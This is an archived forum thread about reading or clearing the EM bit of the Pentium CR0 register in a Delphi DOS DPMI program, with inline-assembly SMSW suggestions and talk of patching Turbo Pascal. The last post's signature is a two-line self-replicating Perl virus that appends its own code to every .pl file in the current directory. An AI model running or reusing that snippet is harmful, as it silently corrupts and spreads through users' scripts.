How to read or modify pentium register CR0 ? 
Author Message
 How to read or modify pentium register CR0 ?

Hello,

I need to access the CR0 register in order to enable the FPU by turning off
the EM bit. That can only be done at the most priviledged level (0) of the
Pentium.

Does somebody have something that allow to execute some instructions at the
level 0, or to affect a value to CR0 ?

Here is my problem : I execute a DOS DPMI program compiled with the delphi 1
compiler. That program uses some DLLs, compiled with the same compiler. the
links with the DLLs are statics, so the DPMI server loads first the DLLs,
calls their initialization code, then loads the program and run it.

At the first step, when the DPMI server loads the DLLs, the EM bit of CR0
seems to be set, so I get an exception if I try to use any FPU instruction.

Maybe I didn't analyze properly the situation ? I would like to verify it by
reading first the CR0 register.

Thank you in advance for any suggestion.

Denis



Sun, 20 Jul 2003 16:22:46 GMT  
 How to read or modify pentium register CR0 ?


Quote:
> Hello,

> I need to access the CR0 register in order to enable the FPU by
> turning off the EM bit. That can only be done at the most priviledged
> level (0) of the Pentium.

> Does somebody have something that allow to execute some instructions
> at the level 0, or to affect a value to CR0 ?

> Here is my problem : I execute a DOS DPMI program compiled with the
> Delphi 1 compiler. That program uses some DLLs, compiled with the
> same compiler. the links with the DLLs are statics, so the DPMI
> server loads first the DLLs, calls their initialization code, then
> loads the program and run it.

> At the first step, when the DPMI server loads the DLLs, the EM bit of
> CR0 seems to be set, so I get an exception if I try to use any FPU
> instruction.

> Maybe I didn't analyze properly the situation ? I would like to
> verify it by reading first the CR0 register.

> Thank you in advance for any suggestion.

This should do the trick if EM is in the low 16 bit of CR0,

asm
  smsw  ax
end;

or the undocumented version, which may work (or not)

asm
  db    $66; smsw  ax
end;

which puts CR0 into EAX.

Robert
--
Robert AH Prins

Sent via Deja.com
http://www.deja.com/



Mon, 21 Jul 2003 18:53:47 GMT  
 How to read or modify pentium register CR0 ?

Quote:
> asm
>   smsw  ax
> end;

Which TP version supports pentium instructions in asm...end-blocks?

--
Nuper erat medicus, nunc est vispillo, Diaulus:
Quod vispillo facit, fecerat et medicus.



Tue, 22 Jul 2003 00:37:27 GMT  
 How to read or modify pentium register CR0 ?
According to Virtual Pascal the opcodes for smsw ax are $0F $01 $E0

dont know wether it'll work Tp BP tho - havnet tested it.
Kenn


Quote:

> > asm
> >   smsw  ax
> > end;

> Which TP version supports pentium instructions in asm...end-blocks?

> --
> Nuper erat medicus, nunc est vispillo, Diaulus:
> Quod vispillo facit, fecerat et medicus.



Tue, 22 Jul 2003 04:03:46 GMT  
 How to read or modify pentium register CR0 ?
Quote:
> Here is my problem : I execute a DOS DPMI program compiled with the Delphi
1
> compiler. That program uses some DLLs, compiled with the same compiler.
the
> links with the DLLs are statics, so the DPMI server loads first the DLLs,
> calls their initialization code, then loads the program and run it.

Can't you have a bit of code that gets run before the dll that dose what you
want?
or read up on pentium codeing. search for "pentium instruction table" or
some thing like this. You should get some intel www pages at least.. or send
off for there programmers cd (it's free).
Your program should start in ring 0 or what ever it's put into from the os
(usually ring 2 or ring 3 if it's a safer o/s.
Quote:
> At the first step, when the DPMI server loads the DLLs, the EM bit of CR0
> seems to be set, so I get an exception if I try to use any FPU

instruction.
which instruction? and which exception?

Quote:
> Maybe I didn't analyze properly the situation ? I would like to verify it
by
> reading first the CR0 register.

Why am I thinking that the pentium cpu has the fpu intergrated in such a way
that you don't need to use fpu instructions? I think I'm thinking this
because the fpu of the 486- are externel cpu's (the 486's still needed the
fpu instructions to communicate with it), but the p5+'s are intergrated and
thus normal instructions will just automatically be processed by the fpu of
the p5? am I thinking of p5 fpu instructions being diffrent from the 486
etc?

Sorry it's hot over here :) and I'm tired.



Tue, 22 Jul 2003 22:30:51 GMT  
 How to read or modify pentium register CR0 ?

Quote:


> > asm
> >   smsw  ax
> > end;

> Which TP version supports pentium instructions in asm...end-blocks?

My patched version of TP6 supports a few 386+ instructions, a longish
time ago I posted the method to make the patch and a program to do it,
including the method of adapting the program for use with TP/BP 7.

I'm still working on the full disassembly, which would enable me to add
more - you need to zap some almost completely useless ones (F(N)ENI,
F(N)DISI, FSETPM etc) to add the new ones, and I've also zapped some
synonyms in the conditional jumps, mostly the JNx varieties. Among the
ones I've added are RDTSC, MOVSD, STOSD, LFS & LGS and BSWAP.

Robert
--
Robert AH Prins

Sent via Deja.com
http://www.deja.com/



Mon, 28 Jul 2003 19:17:50 GMT  
 How to read or modify pentium register CR0 ?

Quote:



> > > asm
> > >   smsw  ax
> > > end;

> > Which TP version supports pentium instructions in asm...end-blocks?

> My patched version of TP6 supports a few 386+ instructions, a longish

Then do not expect us to use your patch (or post a URL of the patch if you
insist on referring to it).

--
#!/usr/bin/perl -w
$0=q{$0="\n".'$0=q{'.$0.'};eval$0;'."\n";for(<*.pl>){open X,">>$_";print
X$0;close X;}print ''.reverse"\n!suriv lreP rehtona tsuJ>RH<\n"};eval$0;
######################## http://learn.to/quote/ ########################



Tue, 29 Jul 2003 01:14:34 GMT  
 
 [ 7 post ] 

 Relevant Pages 

1. How to read or modify pentium register CR0 ?

2. HELP : VGA read plane register.

3. Trying to modify read-only field error

4. Modifying records in a read-only SQL result set

5. Pentium vs Pentium Pro code

6. How to check whether an object has been registered in the registry

7. registers

8. Lock Access register

9. Question: registering shareware via the internet

10. Still time to register -- Testing Computer Software (TCS2001) Conference

11. TP procedures preserve registers ?

12. Register unit??

 

 
Powered by phpBB® Forum Software